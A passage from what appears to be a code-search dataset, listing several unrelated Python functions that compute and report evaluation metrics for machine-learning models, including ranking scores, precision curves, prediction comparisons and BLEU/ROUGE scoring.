perturbed_instance in negative_data:\n perturbed_instance_tuple = tuple(sorted(perturbed_instance))\n perturbed_instances.add(perturbed_instance_tuple)\n if len(perturbed_instances) == 0:\n continue\n\n instance_tuple = tuple(instance)\n instance_score = instance_prediction[instance_tuple]\n instance_scores = [instance_score]\n test_instance_to_perturbed_instances[instance_tuple] = [(1, instance_score, list(instance_tuple))]\n for perturbed_instance_tuple in perturbed_instances:\n instance_score = instance_prediction[perturbed_instance_tuple]\n instance_scores.append(instance_score)\n test_instance_to_perturbed_instances[instance_tuple].append((0, instance_score, list(perturbed_instance_tuple)))\n\n if None in instance_scores:\n print(\"Warning: None appears in predicted scores\")\n print(\"Test positive instance: {}\".format(instance))\n print(\"Query role: {}\".format(query_role))\n for perturbed_instance_tuple in perturbed_instances:\n print(\"Perturbed negative instance: {}\".format(perturbed_instance_tuple,\n instance_prediction[perturbed_instance_tuple]))\n\n # the numpy method below does not properly deal with ties\n # instance_rank = np.where(np.argsort(instance_scores)[::-1] == 0)[0][0] + 1\n\n # break ties\n # python float precision: 16 decimal place\n instance_scores = instance_scores + np.random.rand(len(instance_scores)) * 1e-10\n\n instance_rank = len(instance_scores) + 1 - rankdata(instance_scores, method='max')[0]\n query_ranks.append(instance_rank)\n num_positive_instances += 1\n num_negative_instances.append(len(perturbed_instances))\n num_query_role.append(len(query_role_pos))\n\n query_ranks = np.array(query_ranks)\n results[query_role] = {\"MR\": np.mean(query_ranks),\n \"MRR\": np.mean(1.0 / query_ranks),\n \"Hit@1\": sum(query_ranks <= 1) * 1.0 / len(query_ranks),\n \"Hit@2\": sum(query_ranks <= 2) * 1.0 / len(query_ranks),\n \"Hit@3\": sum(query_ranks <= 3) * 1.0 / len(query_ranks),\n \"Hit@5\": sum(query_ranks <= 5) * 1.0 / len(query_ranks),\n \"Hit@10\": sum(query_ranks <= 10) * 1.0 / len(query_ranks),\n \"# Tested Positive Instances\": num_positive_instances,\n \"# Average Tested Negative Instances Per Positive Instance\": np.mean(num_negative_instances),\n \"# Type-Constrained Candidate Value\": len(role_to_values[query_role]),\n \"# Average Roles That Are Query Role In Each Positive Instance\": np.mean(num_query_role)}\n\n if verbose:\n print(\"For query role {}\".format(query_role))\n print(\"Mean Rank: {}\".format(results[query_role][\"MR\"]))\n print(\"Mean Reciprocal Rank: {}\".format(results[query_role][\"MRR\"]))\n print(\"Hit@1: {}\".format(results[query_role][\"Hit@1\"]))\n print(\"Hit@2: {}\".format(results[query_role][\"Hit@2\"]))\n print(\"Hit@3: {}\".format(results[query_role][\"Hit@3\"]))\n print(\"Hit@5: {}\".format(results[query_role][\"Hit@5\"]))\n print(\"Hit@10: {}\".format(results[query_role][\"Hit@10\"]))\n print(\n \"{} tested positive instances, {} perturbed negative instance for each positive instance on average\".format(\n results[query_role][\"# Tested Positive Instances\"],\n results[query_role][\"# Average Tested Negative Instances Per Positive Instance\"]))\n print(\n \"{} type-constrained candidate value, {} roles that are the query role for each positive instance on average\".format(\n results[query_role][\"# Type-Constrained Candidate Value\"],\n results[query_role][\"# Average Roles That Are Query Role In Each Positive Instance\"]))\n\n # save results\n if save_dir:\n examples_for_role_file = os.path.join(save_dir, \"{}:qualitative_examples.txt\".format(query_role))\n with open(examples_for_role_file, \"w\") as fh:\n for key in test_instance_to_perturbed_instances:\n all_test_instances = test_instance_to_perturbed_instances[key]\n for label, score, instance in all_test_instances:\n fh.write(\"{}\\t{}\\t{}\".format(label, score, instance) + \"\\n\")\n fh.write(\"\\n\")\n\n df = pd.DataFrame(results)\n\n # compute average\n if len(query_roles) != 1:\n df['average'] = df.mean(axis=1)\n results = df.to_dict()\n\n if save_dir:\n if len(query_roles) == 1:\n results_file = os.path.join(save_dir, \"{}:results.csv\".format(query_role))\n else:\n results_file = os.path.join(save_dir, \"results.csv\")\n df.to_csv(results_file)\n\n return results","def func(args):\n\n classifier_stat_list = []\n cf_frames = []\n confidences_list = []\n intents_in_results = pd.Series(dtype='float')\n\n classifier_num = len(args.classifiers_results)\n\n # Prepare labels for each curve\n labels = [os.path.splitext(os.path.basename(file_path))[0]\n for file_path in args.classifiers_results]\n\n # Only do cutomization on labels if numbers match\n if args.classifier_names and \\\n (len(args.classifier_names) == classifier_num):\n labels = args.classifier_names\n\n # Initialization\n for i in range(classifier_num):\n file_path = args.classifiers_results[i]\n frame = pd.read_csv(file_path, encoding=UTF_8, quoting=csv.QUOTE_ALL)\n if INTENT_JUDGE_COLUMN not in frame.columns: # Column validation\n raise ValueError(\"'{}' column not in {}\".format(\n INTENT_JUDGE_COLUMN, file_path))\n # Read the cf files into list\n cf_frames.append(frame)\n # Collect all intents from the classification results\n intents_in_results = pd.concat([intents_in_results,\n frame[PREDICTED_INTENT_COLUMN]])\n # Convert nan to zero values to avoid use zero as divider\n confidences_list.append(frame[CONFIDENCE_COLUMN].fillna(0)\n .drop_duplicates().sort_values().tolist())\n\n intents_in_results = intents_in_results.drop_duplicates()\n\n # Read weight\n weights_df = None\n weight_mode = args.weight.lower()\n # Read the intent weights pairs from file\n if weight_mode != POPULATION_WEIGHT_MODE and \\\n weight_mode != EQUAL_WEIGHT_MODE:\n try:\n weights_df = pd.read_csv(args.weight, encoding=UTF_8,\n quoting=csv.QUOTE_ALL)\n # Validate the completeness\n for _, intent in intents_in_results.iteritems():\n if not any(weights_df[INTENT_COLUMN] == intent):\n raise ValueError(\"'{}' intent not in {}\".format(\n intent, args.weight))\n except Exception as e:\n print(e)\n weight_mode = POPULATION_WEIGHT_MODE # default population mode\n print('Fall back to {} mode'.format(POPULATION_WEIGHT_MODE))\n\n # Init the classifier_stat_list:\n for i in range(classifier_num):\n # array of zeros to hold precision values\n classifier_stat_list.append(np.zeros([len(confidences_list[i]), 3]))\n\n for j in range(classifier_num):\n confidences = confidences_list[j]\n for i in range(len(confidences)):\n conf = confidences[i]\n cf_frame = cf_frames[j]\n precision = 0\n answered = \\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf].shape[0]\n if weight_mode == POPULATION_WEIGHT_MODE:\n correct = cf_frame[\n cf_frame[CONFIDENCE_COLUMN] >= conf][SCORE_COLUMN].sum()\n precision = correct / answered\n # print(precision)\n else:\n intent_uttr_num_map = \\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf] \\\n .groupby(PREDICTED_INTENT_COLUMN)[PREDICTED_INTENT_COLUMN] \\\n .count().to_dict()\n\n # Calulate precision use equal weights\n uttr_correct_intent = \\\n cf_frame[cf_frame[CONFIDENCE_COLUMN] >= conf] \\\n .groupby(GOLDEN_INTENT_COLUMN)[SCORE_COLUMN] \\\n .sum()\n\n intent_weights = None\n weight_coeff = 1 / len(intent_uttr_num_map)\n\n if weight_mode != EQUAL_WEIGHT_MODE:\n required_weights_df = \\\n weights_df[\n weights_df[INTENT_COLUMN]\n .isin(uttr_correct_intent.index)]\n weight_sum = required_weights_df[WEIGHT_COLUMN].sum()\n # Normalize weights\n weights_df[WEIGHT_COLUMN] = \\\n weights_df[WEIGHT_COLUMN] / weight_sum\n intent_weights = \\\n weights_df.set_index(INTENT_COLUMN)[WEIGHT_COLUMN] \\\n .to_dict()\n\n for intent, correct_intent_num in \\\n uttr_correct_intent.iteritems():\n if weight_mode != EQUAL_WEIGHT_MODE:\n weight_coeff = intent_weights[intent]\n\n precision += \\\n weight_coeff * correct_intent_num \\\n / intent_uttr_num_map[intent]\n\n classifier_stat_list[j][i, 0] = precision\n classifier_stat_list[j][i, 1] = 100 * answered / len(cf_frame)\n classifier_stat_list[j][i, 2] = conf\n\n for idx in range(len(classifier_stat_list)):\n # reversing order for helpful plotting\n classifier_stat_list[idx] = classifier_stat_list[idx][::-1]\n\n # plotting\n fig = plt.figure()\n ax = fig.gca()\n\n ax.set_ylim([0, 1.0]) # Hardcoding y-axis to a consistent 0-1.0 for the benefit of easing historical comparisions\n\n ax.grid(color='b', linestyle='--', alpha=0.3)\n ax.set_xlabel('Percentage of Questions Answered',\n fontsize=LEGEND_AXIS_FONT_SIZE)\n ax.set_ylabel('Precision', fontsize=LEGEND_AXIS_FONT_SIZE)\n line_style_cycler = cycle(line_styles)\n line_color_cycler = cycle(line_color)\n\n lines = [] # reference to lines\n # plot the curve and save the figure\n for i in range(len(classifier_stat_list)):\n classifier_stat = classifier_stat_list[i]\n # Default to the idx of lowest conf\n tau_idx = len(classifier_stat[:, 2]) - 1\n indices_gtr_tau, = np.where(classifier_stat[:, 2] <= args.tau)\n if len(indices_gtr_tau) > 0:\n tau_idx = indices_gtr_tau[0]\n\n color = next(line_color_cycler)\n line, = plt.plot(classifier_stat[:, 1], classifier_stat[:, 0],\n color=color, label=labels[i],\n linestyle=next(line_style_cycler))\n\n plt.plot(classifier_stat[tau_idx, 1], classifier_stat[tau_idx, 0],\n '{}o'.format(color), markerfacecolor='None')\n lines.append(line)\n\n tau_desc = mlines.Line2D([], [], markeredgecolor='black', marker='o',\n linestyle='None', markerfacecolor='None',\n markersize=10,\n label='tau = {}'.format(args.tau))\n\n ax.legend(handles=lines + [tau_desc], loc='lower left', shadow=False,\n prop={'size': LEGEND_AXIS_FONT_SIZE})\n ax.set_title(args.figure_title,\n fontsize=TITLE_FONT_SIZE)\n\n if args.ymin != 0.0:\n plt.ylim(args.ymin, 1.0)\n # Save figure as file\n plt.savefig(args.outfile)\n\n print(\"Wrote precision curve to {}\".format(args.outfile))","def eval_prediction(gold_trees, pred_trees):\n assert [t.get_tid() for t in gold_trees] == [\n t.get_tid() for t in pred_trees\n ]\n gold_vectors = [t.get_vector() for t in gold_trees]\n pred_vectors = [t.get_vector() for t in pred_trees]\n\n def score_it(gold, pred, level):\n level_gold = list(chain.from_iterable([v[level] for v in gold]))\n level_pred = list(chain.from_iterable([v[level] for v in pred]))\n assert len(level_gold) == len(level_pred), \"{} {} {}\".format(\n level, level_gold, level_pred\n )\n return evaluate(level_gold, level_pred)\n\n results = []\n for level in [\"cc\", \"ro\", \"fu\", \"at\"]:\n results.append((level, score_it(gold_vectors, pred_vectors, level)))\n\n lat = labelled_attachment(gold_trees, pred_trees)\n results.append((\"lat\", {\"accuracy\": lat}))\n return results","def check_processed(args):\n\n unknown_fns = glob.glob(\"*M.txt\") + glob.glob(\"unknowns/*M.txt\")\n unknown_fns = [os.path.basename(fn) for fn in unknown_fns]\n\n with sqlite3.connect(args.search_db) as conn:\n conn.row_factory = sqlite3.Row\n sql_ranges = conn.execute('SELECT * FROM range ORDER BY p, d, m_start').fetchall()\n\n # At some later point maybe don't load all (group by thousands or something)\n conn.row_factory = None\n results = conn.execute('SELECT P, D, m FROM result').fetchall()\n print(f\"\\tLoaded {len(results):,} results\")\n\n # ---- Add file only ranges\n ranges, lookup = sql_and_file_ranges(sql_ranges, unknown_fns)\n\n # ---- Find results not belonging to any range\n build_and_count_pd_results(results, ranges, lookup)\n\n print_results(conn, ranges, lookup)","def compare_predictions():\n validation_labels = np.array(pd.read_csv(val_true_labels_dir + dataset_version + 'validation_labels.csv', index_col=0))\n validation_labels = np.reshape(validation_labels, (-1))\n\n diff_between_files = []\n also1s = []\n also2s = []\n for filename1 in os.listdir(val_predictions_dir):\n if filename1.endswith(\".csv\"):\n for filename2 in os.listdir(val_predictions_dir):\n if filename2.endswith(\".csv\"):\n if filename1 < filename2:\n wrong1 = 0\n wrong2 = 0\n diff_between = 0\n also1 = 0\n also2 = 0\n diff_corr1 = 0\n diff_corr2 = 0\n f1 = np.array(pd.read_csv(val_predictions_dir + filename1, index_col=0))\n f1 = np.reshape(f1, (-1))\n f2 = np.array(pd.read_csv(val_predictions_dir + filename2, index_col=0))\n f2 = np.reshape(f2, (-1))\n for line in range(f1.shape[0]):\n if f1[line] != validation_labels[line]:\n wrong1 += 1\n if f2[line] != validation_labels[line]:\n wrong2 += 1\n if f1[line] != f2[line]:\n diff_between += 1\n if f1[line] == validation_labels[line]:\n diff_corr1 += 1\n if f2[line] == validation_labels[line]:\n diff_corr2 += 1\n if f1[line] != validation_labels[line]:\n if f2[line] != validation_labels[line]:\n also2 += 1\n if f2[line] != validation_labels[line]:\n if f1[line] != validation_labels[line]:\n also1 += 1\n\n diff_between_files.append(diff_between)\n print(filename1)\n print('Wrongly predicted by 1: ' + str(100 * wrong1 / f1.shape[0]) + '%')\n print(filename2)\n print('Wrongly predicted by 2: ' + str(100 * wrong2 / f1.shape[0]) + '%')\n print()\n print('Differences between files: ' + str(100 * diff_between / f1.shape[0]) + '%')\n print(f'\\t of which correct by 1 {100 * diff_corr1 / diff_between}%, by 2 {100 * diff_corr2 / diff_between}%')\n also1s.append(also1 / wrong2)\n also2s.append(also2 / wrong1)\n print('Wrongly predicted by other among wrong ones: ' + str(100 * also2 / wrong1) + '%, ' + str(\n 100 * also1 / wrong2) + '%\\n\\n\\n')\n\n print('Max, min and avg differences between files:')\n print(str(100 * max(diff_between_files) / validation_labels.shape[0]) + '%')\n print(str(100 * min(diff_between_files) / validation_labels.shape[0]) + '%')\n print(str(100 * np.mean(diff_between_files) / validation_labels.shape[0]) + '%')\n\n print('\\nWrongly predicted by first that were also wrongly predicted by second:')\n print('Max: ' + str(100 * max(also2s)) + '%')\n print('Min: ' + str(100 * min(also2s)) + '%')\n print('Avg: ' + str(100 * np.mean(also2s)) + '%')\n\n print('\\nWrongly predicted by second that were also wrongly predicted by first:')\n print('Max: ' + str(100 * max(also1s)) + '%')\n print('Min: ' + str(100 * min(also1s)) + '%')\n print('Avg: ' + str(100 * np.mean(also1s)) + '%')","def predictions(files, species, files2, species2, nbC=1000, nbC2=None, gating='line', showgat=False,\r\n predAn='prediction',\r\n predtype='neur', ratio=1 / 7.0, repeat=1, average=True,\r\n doubt=0, random_state=None, save='save', fc='Accuri',\r\n param=None,channels = [], dicChannels = {},cwd='Results/' ):\r\n # todo default channel name and dicChannels\r\n if param is None:\r\n param = ['FL3-A', 'FL1-A', 'FSC-A']\r\n # Create result directory\r\n if not os.path.exists(cwd):\r\n os. mkdir('Results/')\r\n cwd = 'Results/'\r\n now = datetime.now()\r\n dirName = now.strftime(\"%Y%m%d-%H_%M_%S/\")\r\n os.mkdir(cwd + dirName)\r\n cwd = cwd + dirName\r\n # Create file option with all parameter given in the input\r\n f.fileOption(cwd, files, species, files2, species2, nbC, nbC2, gating, predAn, predtype, ratio, repeat, average,\r\n doubt,channels=channels,dicChannels=dicChannels,fc=fc)\r\n\r\n if showgat and save is not None:\r\n showgat = save\r\n else:\r\n showgat = None\r\n # Gate Data: according to method\r\n Data = []\r\n target2 = []\r\n refArrays = f.importFile(files, gating=gating, save=showgat, fc=fc, cwd=cwd,channels=channels,dicChannels=dicChannels)\r\n if refArrays == [] :\r\n return 'None'\r\n predArrays = f.importFile(files2, gating=gating, save=showgat, fc=fc, cwd=cwd,channels=channels,dicChannels=dicChannels)\r\n if predArrays == []:\r\n return 'None'\r\n\r\n blankArrays = []\r\n blk =['BLANK', 'Blank', 'blank']\r\n for i in range(len(species)):\r\n if species[i] in blk:\r\n blankArrays.append(refArrays[i])\r\n if gating == 'machine':\r\n refArrays,species = f.machineGating(refArrays, species, refArrays, species,cwd=cwd,show=showgat,name='ref', predType=predtype, param=param)\r\n if predAn == 'analysis':\r\n predArrays, species2 = f.machineGating(refArrays+blankArrays, species+['blank']*len(blankArrays), predArrays, species2,cwd = cwd,show = showgat, name='pred',param=param,predType=predtype)\r\n # todo check if 10 and 5000 is not too much!! here we add the former blank from the new gating output\r\n else :\r\n refArrays = refArrays + blankArrays\r\n species = species+['blank']*len(blankArrays)\r\n # Selection of data for prediction and analysis\r\n if predAn == 'prediction':\r\n for anArray in predArrays:\r\n data2, atarget2, species2 = f.treat([anArray], species2, None, mode=predAn)\r\n Data.append(data2)\r\n target2.append(atarget2)\r\n else:\r\n data2, target2, species2 = f.treat(predArrays, species2, nbC2, mode=predAn)\r\n Data.append(data2)#TODO replace by data2 after testing feature impotance\r\n target2 = [target2]\r\n\r\n # treat data\r\n statisticsLearn = []\r\n statisticsPred = []\r\n predict_lbls = []\r\n confusionM = []\r\n confusionM2 = []\r\n acc1 = []\r\n F1 = []\r\n oldSpecies = species.copy()\r\n for i in range(repeat):\r\n stat, stat2, predict_lbl, target, conf, conf2, species, \\\r\n data2 = predictionMultiple(files, refArrays, oldSpecies, files2, Data, target2, nbC, repeat=i,\r\n param=param, predAn=predAn, predType=predtype, ratio=ratio,\r\n random_state=random_state, save=save, cwd=cwd, average=average)\r\n statisticsLearn.append(stat)\r\n statisticsPred.append(stat2)\r\n #f.save_prediction(predict_lbl,i,cwd=cwd)\r\n predict_lbls.append(predict_lbl)\r\n confusionM.append(conf)\r\n confusionM2.append(conf2)\r\n acc1.append(stat.loc['MEAN', 'ACC'])\r\n F1.append(stat.loc['MEAN', 'F1'])\r\n\r\n f.assessmentValue(statisticsLearn, species, cwd, [], 'align')\r\n confM = f.averageConfM(confusionM)\r\n confM2 = f.averageConfM(confusionM2)\r\n f.cmFile(confM, species, cwd, 'Reference CM')\r\n if save is not None:\r\n f.plotConfusionMatrix(confM, species, save, cwd, normalize=True, name=' average CM for reference',\r\n predAn='training')\r\n target = np.array(target)\r\n predict_lbls = np.array(predict_lbls)\r\n conf2 = []\r\n acc2 = []\r\n f12 = []\r\n for i in range(len(statisticsPred[0])):\r\n PredStat = []\r\n for j in range(repeat):\r\n PredStat.append(statisticsPred[j][i])\r\n if average:\r\n predict_lbl = f.bestPred(list(predict_lbls[:, i]), doubt=doubt) # average of 10\r\n if len(predict_lbl) > 0:\r\n conf2.append(confusion_matrix(target[i], predict_lbl, labels=species + ['unknown']))\r\n statistics2 = f.statAnalysis(list(predict_lbl), list(target[i]), species)\r\n acc2.append(statistics2.loc['MEAN', 'ACC'])\r\n f12.append(statistics2.loc['MEAN', 'F1'])\r\n\r\n if predAn == 'prediction':\r\n if save is not None and save != 'None':\r\n f.graph3d(data2[i], predict_lbl, list(target[i]), species + ['unknown'], param, statistics2, save,\r\n cwd, i + 1, name=files2[i].split('/')[-1][:-4], predtype=predAn)\r\n f.exportPrediction(list(predict_lbl), [files2[i].split('/')[-1][:-4]], cwd, 'predict',\r\n i + 1, 'AVERAGE', repeat)\r\n else:\r\n f.exportStatistics(statistics2, [n.split('/')[-1][:-4] for n in files2], cwd,\r\n 'predict')\r\n f.assessmentValue([statistics2], species, cwd, [files2[i].split('/')[-1][:-4]], 'predict')\r\n f.exportPrediction(list(predict_lbl), [files2[i].split('/')[-1][:-4]], cwd, 'predict',\r\n i + 1, 'AVERAGE', repeat)\r\n\r\n f.cmFile(conf2[i], species+['unknown'], cwd, 'Prediction CM')\r\n if save is not None:\r\n f.graph3d(data2[i], predict_lbl, target[i], species + ['unknown'], param, statistics2, save,\r\n cwd, i + 1, name=str(len(species)) + ' species', predtype=predAn)\r\n f.plotConfusionMatrix(conf2[i], species + ['unknown'], save, cwd, normalize=True,\r\n name='CM with ' + str(len(species)) + ' species', predAn='analysis')\r\n\r\n else:\r\n conf2 = []\r\n else:\r\n for j in range(repeat):\r\n if predAn == 'prediction':\r\n f.exportPrediction(list(predict_lbls[j][i]), [files2[i].split('/')[-1][:-4]], cwd,\r\n 'predict', i, 'SINGLE')\r\n else:\r\n f.exportStatistics(PredStat[j], [files2[i].split('/')[-1][:-4]], cwd, 'predict')\r\n f.exportPrediction(list(predict_lbls[j][i]), [files2[i].split('/')[-1][:-4]], cwd,\r\n 'predict', i, 'SINGLE')\r\n if predAn == 'analysis':\r\n f.assessmentValue(PredStat, species, cwd, [files2[i].split('/')[-1][:-4]], 'predict')\r\n f.cmFile(confM2, species+['unknown'], cwd, 'Prediction CM')\r\n if save is not None:\r\n f.plotConfusionMatrix(confM2, species + ['unknown'], save, cwd, normalize=True,\r\n name='average confusion matrix for Tool analysis', predAn='analysis')\r\n\r\n return os.getcwd().replace('\\\\', '/') + '/' + cwd","def process_results(percentage_ids, alignment_lengths, percentage_ids_other,\n alignment_lengths_other, best_hits):\n\n len_percentage_ids = len(percentage_ids)\n len_alignment_lengths = len(alignment_lengths)\n results = []\n\n for i, j in [(i,j) for i in range(len_percentage_ids) for j in range(len_alignment_lengths)]:\n filename = \"p1_%d-a1_%d_p2_%d-a2_%d\" % (percentage_ids[i],\n alignment_lengths[j], percentage_ids_other[i], alignment_lengths_other[j])\n results.append({ 'filename': filename, 'db_interest': 0, 'db_other': 0,\n 'perfect_interest': 0, 'equal': 0, 'summary': ['#SeqId\\tFirst\\t'\n 'Second'], 'db_seqs_counts': {'a': {}, 'b': {} } })\n\n for seq_name, values in best_hits.items():\n seq_name = seq_name.split(' ')[0].strip()\n for i, vals in enumerate(values):\n if not vals:\n continue\n\n # Validating duplicated results in the databases\n #@@@ Do this step in a different script early in the pipeline\n if vals['a']['subject_id'] not in results[i]['db_seqs_counts']['a']:\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']]=0\n if vals['a']['subject_id'] == results[i]['db_seqs_counts']['b']:\n raise Warning, \"%s is in both databases\" % vals['a']['subject_id']\n if vals['b']['subject_id'] not in results[i]['db_seqs_counts']['b']:\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']]=0\n if vals['b']['subject_id'] == results[i]['db_seqs_counts']['a']:\n raise Warning, \"%s is in both databases\" % vals['b']['subject_id']\n\n # Comparing bit_scores to create outputs\n if vals['a']['bit_score']==vals['b']['bit_score']:\n results[i]['equal'] += 1\n results[i]['summary'].append('%s\\t%s\\t%s' % (seq_name, vals['a']['subject_id'], vals['b']['subject_id']))\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']] += 1\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']] += 1\n elif vals['a']['bit_score']>vals['b']['bit_score']:\n if not vals['b']['subject_id']:\n results[i]['perfect_interest'] += 1 \n results[i]['summary'].append('%s\\t%s\\t' % (seq_name, vals['a']['subject_id']))\n results[i]['db_seqs_counts']['a'][vals['a']['subject_id']] += 1\n else:\n results[i]['db_other'] += 1\n results[i]['summary'].append('%s\\n\\t%s' % (seq_name, ''))\n results[i]['db_seqs_counts']['b'][vals['b']['subject_id']] += 1\n\n return results","def _evaluate(self, train_x, train_y, test_x, test_y, n_targets, name):\n r_temp = {}\n for metric_name in self.metrics:\n r_temp.update({f\"{metric_name}_Model\": name, f\"{metric_name}_Sum\": 0,\n f\"{metric_name}_Min\": 1000000, f\"{metric_name}_Max\": 0})\n\n for i in range(self.repetitions):\n is_nan = True\n while (is_nan):\n model = self.get_model(train_x.shape[1], n_targets)\n model.fit(train_x, train_y, **self.fit_kwargs)\n result = model.predict(test_x)\n is_nan = np.any(np.isnan(result))\n del model\n\n for metric_name in self.metrics:\n metric = self.get_metrics(metric_name)\n value = metric(result, test_y)\n r_temp[f\"{metric_name}_Sum\"] += value\n if r_temp[f\"{metric_name}_Min\"] > value:\n r_temp[f\"{metric_name}_Min\"] = value\n if r_temp[f\"{metric_name}_Max\"] < value:\n r_temp[f\"{metric_name}_Max\"] = value\n keras.backend.clear_session()\n for metric_name in self.metrics:\n r_temp[f\"{metric_name}_Mean\"] = r_temp[f\"{metric_name}_Sum\"] / self.repetitions\n return r_temp"],"string":"[\n \"def eval(\\n task1_prediction_filename: str,\\n task2_prediction_filename: str,\\n target_filename: str,\\n output_dir: str,\\n case_ids_source: Optional[Union[str, List[str]]] = \\\"target\\\",\\n) -> Tuple[OrderedDict, str]:\\n create_dir(output_dir)\\n\\n # eval task1, task2 or both\\n task1 = task1_prediction_filename is not None and task1_prediction_filename != \\\"\\\"\\n task2 = task2_prediction_filename is not None and task2_prediction_filename != \\\"\\\"\\n\\n if case_ids_source is None:\\n if task1:\\n case_ids_source = \\\"task1_pred\\\"\\n else:\\n case_ids_source = \\\"task2_pred\\\"\\n\\n dataframes_dict = {}\\n metrics = {}\\n post_proc = partial(post_processing, task1=task1, task2=task2)\\n # task 1\\n if task1:\\n # metrics to evaluate\\n metrics.update(\\n {\\n \\\"task1_auc\\\": CI(\\n MetricAUCROC(\\n pred=\\\"task1_pred.array\\\",\\n target=\\\"target.Task1-target\\\",\\n class_names=TASK1_CLASS_NAMES,\\n pre_collect_process_func=post_proc,\\n ),\\n stratum=\\\"target.Task1-target\\\",\\n ),\\n \\\"task1_roc_curve\\\": MetricROCCurve(\\n pred=\\\"task1_pred.array\\\",\\n target=\\\"target.Task1-target\\\",\\n class_names=[None, \\\"\\\"],\\n pre_collect_process_func=post_proc,\\n output_filename=os.path.join(output_dir, \\\"task1_roc.png\\\"),\\n ),\\n }\\n )\\n # read files\\n task1_pred_df = pd.read_csv(\\n task1_prediction_filename, dtype={PRED_CASE_ID_NAME: object}\\n )\\n # verify input\\n assert set(task1_pred_df.keys()).issubset(\\n EXPECTED_TASK1_PRED_KEYS\\n ), f\\\"Expecting task1 prediction file {os.path.abspath(task1_prediction_filename)} to include also the following keys: {EXPECTED_TASK1_PRED_KEYS - set(task1_pred_df.keys())}\\\"\\n task1_pred_df[\\\"id\\\"] = task1_pred_df[PRED_CASE_ID_NAME]\\n dataframes_dict[\\\"task1_pred\\\"] = task1_pred_df\\n\\n # task 2\\n if task2:\\n # metrics to evaluate\\n metrics.update(\\n {\\n \\\"task2_auc\\\": CI(\\n MetricAUCROC(\\n pred=\\\"task2_pred.array\\\",\\n target=\\\"target.Task2-target\\\",\\n class_names=TASK2_CLASS_NAMES,\\n pre_collect_process_func=post_proc,\\n ),\\n stratum=\\\"target.Task2-target\\\",\\n ),\\n \\\"task2_roc_curve\\\": MetricROCCurve(\\n pred=\\\"task2_pred.array\\\",\\n target=\\\"target.Task2-target\\\",\\n class_names=TASK2_CLASS_NAMES,\\n output_filename=os.path.join(output_dir, \\\"task2_roc.png\\\"),\\n pre_collect_process_func=post_proc,\\n ),\\n }\\n )\\n # read files\\n task2_pred_df = pd.read_csv(\\n task2_prediction_filename, dtype={PRED_CASE_ID_NAME: object}\\n )\\n # verify input\\n assert set(task2_pred_df.keys()).issubset(\\n EXPECTED_TASK2_PRED_KEYS\\n ), f\\\"Expecting task2 prediction file {os.path.abspath(task2_prediction_filename)} to include also the following keys: {EXPECTED_TASK2_PRED_KEYS - set(task2_pred_df.keys())}\\\"\\n task2_pred_df[\\\"id\\\"] = task2_pred_df[PRED_CASE_ID_NAME]\\n dataframes_dict[\\\"task2_pred\\\"] = task2_pred_df\\n\\n # read files\\n target_df = pd.read_csv(target_filename, dtype={TARGET_CASE_ID_NAME: object})\\n # verify input\\n assert set(target_df.keys()).issubset(\\n EXPECTED_TARGET_KEYS\\n ), f\\\"Expecting target file {os.path.abspath(target_filename)} to include also the following keys: {EXPECTED_TARGET_KEYS - set(target_df.keys())}\\\"\\n target_df[\\\"id\\\"] = target_df[TARGET_CASE_ID_NAME]\\n dataframes_dict[\\\"target\\\"] = target_df\\n\\n # analyze\\n evaluator = EvaluatorDefault()\\n results = evaluator.eval(\\n ids=list(dataframes_dict[case_ids_source][\\\"id\\\"]),\\n data=dataframes_dict,\\n metrics=metrics,\\n output_dir=None,\\n )\\n\\n # output\\n return decode_results(results, output_dir=output_dir, task1=task1, task2=task2)\",\n \"def compute_metrics_from_files(p_path_to_reference_file,\\r\\n p_path_to_candidate_file,\\r\\n p_max_bleu_order):\\r\\n\\r\\n reference_dictionary, reference_no_answer_query_ids = \\\\\\r\\n load_file(p_path_to_reference_file)\\r\\n candidate_dictionary, candidate_no_answer_query_ids = load_file(p_path_to_candidate_file)\\r\\n query_id_answerable = set(reference_dictionary.keys())-reference_no_answer_query_ids\\r\\n query_id_answerable_candidate = set(candidate_dictionary.keys())-candidate_no_answer_query_ids\\r\\n \\r\\n true_positives = len(query_id_answerable_candidate.intersection(query_id_answerable))\\r\\n false_negatives = len(query_id_answerable)-true_positives\\r\\n true_negatives = len(candidate_no_answer_query_ids.intersection(reference_no_answer_query_ids))\\r\\n false_positives = len(reference_no_answer_query_ids)-true_negatives\\r\\n precision = float(true_positives)/(true_positives+false_positives) if (true_positives+false_positives)>0 else 1.\\r\\n recall = float(true_positives)/(true_positives+false_negatives) if (true_positives+false_negatives)>0 else 1.\\r\\n F1 = 2 *((precision*recall)/(precision+recall))\\r\\n filtered_reference_dictionary = \\\\\\r\\n {key: value for key, value in reference_dictionary.items() \\\\\\r\\n if key not in reference_no_answer_query_ids}\\r\\n\\r\\n filtered_candidate_dictionary = \\\\\\r\\n {key: value for key, value in candidate_dictionary.items() \\\\\\r\\n if key not in reference_no_answer_query_ids}\\r\\n\\r\\n for query_id, answers in filtered_candidate_dictionary.items():\\r\\n assert \\\\\\r\\n len(answers) <= 1, \\\\\\r\\n 'query_id %d contains more than 1 answer \\\\\\\"%s\\\\\\\" in candidate file' % \\\\\\r\\n (query_id, str(answers))\\r\\n\\r\\n reference_query_ids = set(filtered_reference_dictionary.keys())\\r\\n candidate_query_ids = set(filtered_candidate_dictionary.keys())\\r\\n common_query_ids = reference_query_ids.intersection(candidate_query_ids)\\r\\n assert (len(common_query_ids) == len(reference_query_ids)) and \\\\\\r\\n (len(common_query_ids) == len(candidate_query_ids)), \\\\\\r\\n 'Reference and candidate files must share same query ids'\\r\\n\\r\\n all_scores = {}\\r\\n bleu_scores, _ = \\\\\\r\\n Bleu(p_max_bleu_order).compute_score(filtered_reference_dictionary, \\\\\\r\\n filtered_candidate_dictionary)\\r\\n for i, bleu_score in enumerate(bleu_scores):\\r\\n all_scores['bleu_%d' % (i+1)] = bleu_score\\r\\n\\r\\n rouge_score, _ = Rouge().compute_score(filtered_reference_dictionary, \\\\\\r\\n filtered_candidate_dictionary)\\r\\n all_scores['rouge_l'] = rouge_score\\r\\n all_scores['F1'] = F1\\r\\n similarity = 0\\r\\n for key in filtered_reference_dictionary:\\r\\n candidate_answer = nlp(filtered_candidate_dictionary[key][0])\\r\\n reference_answer = filtered_reference_dictionary[key]\\r\\n answersimilarity = 0\\r\\n for answer in 